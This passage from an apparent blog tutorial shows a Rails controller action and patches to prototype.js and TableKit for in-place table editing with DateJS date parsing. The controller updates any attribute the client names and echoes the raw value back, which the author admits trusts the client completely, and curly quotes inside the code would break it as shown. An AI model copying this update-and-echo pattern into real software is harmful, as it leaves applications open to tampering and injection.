  if hwconfig.respond_to? params[:field].to_sym
    hwconfig.update_attributes(params[:field] => params[:value])
  end
  result = params[:value]
  case params[:field]
    when “brand_id”
       result = hwconfig.brand.name
    when “odm_id”
       result = hwconfig.odm.name
  end
  render :text => result
  return
end

Two things worth noting there. First is the cheeky use of introspection to get the model updated (respond_to?). I keep saying this, but it’s worth remembering that this code completely trusts the client to be sending valid data. In our table we’ll have selected and sent a list of values for the drop-downs, but there’s nothing to stop someone determined sending a POST with a different set of values.
Second thing to note is that we echo back the text that we want rendered in the table cell. In the case of text and dates, that’s easy. In the case of the drop downs, we need to convert the value sent back into the name of the item that we want displayed in the table cell.
That’s the bulk of the work. There are a couple of neat tricks that you can use to make your table a bit easier to use. If you click on one of the empty ‘Date’ cells, you’ll see that the default text in the edit box is ‘today’. Clicking ‘OK’ magically translates that text into today’s date, which is quite cool. You can also try things like ‘tomorrow’, ‘last tuesday’ or ‘next week’. That’s DateJS in action. Problem is, DateJS is a client-side library so we need to do the translation from text to date before the post hits the server. How do we swindle that one? In ‘prototype.js’, we can edit the serializeElements method to perform some ‘validation’ before the post is sent:

  serializeElements: function(elements, getHash) {
    var data = elements.inject({}, function(result, element) {
      if (!element.disabled && element.name) {
        var key = element.name;
	if ($(element).validator)
	{
	  value = $(element).validator($(element).getValue());
	}
        else
	{
	  value = $(element).getValue();
	}
        if (value != undefined) {
          if (result[key]) {
            if (result[key].constructor != Array) result[key] = [result[key]];
            result[key].push(value);
          }
          else result[key] = value;
        }
      }
      return result;
    });

‘course, we’ll need to edit the constructor for the TextInput to allow us to specify a validation function and a default value in TableKit.Editable.CellEditor.prototype:

TableKit.Editable.textInput = function(n,attributes,validator,defaultvalue) {
  TableKit.Editable.addCellEditor(new TableKit.Editable.CellEditor(n, {
    element : 'input',
    attributes : Object.extend({name : 'value', type : 'text'}, attributes||{}),
    validator : validator,
    defaultvalue: defaultvalue
  }));
};

and add the validation (and default value) code:

case 'textarea':
  if (op.validator)
  {
    field.validator = op.validator;
  }
  var textVal = TableKit.getCellText(cell)
  if (textVal == undefined && op.defaultvalue != undefined)
  {
    field.value = op.defaultvalue;
  }
  else
  {
    field.value = textVal;
  }

and while we’re at it fix a bug in the drop-down value code in the same function:

case 'select':
  var txt = TableKit.getCellText(cell);
  $A(op.selectOptions).each(function(v){
    field.options[field.options.length] = new Option(v[0], v[1]);
    if(txt === v[0]) {
      field.options[field.options.length-1].selected = ’selected’;
    }
  });
  break;

Couldn’t be simpler. Or something.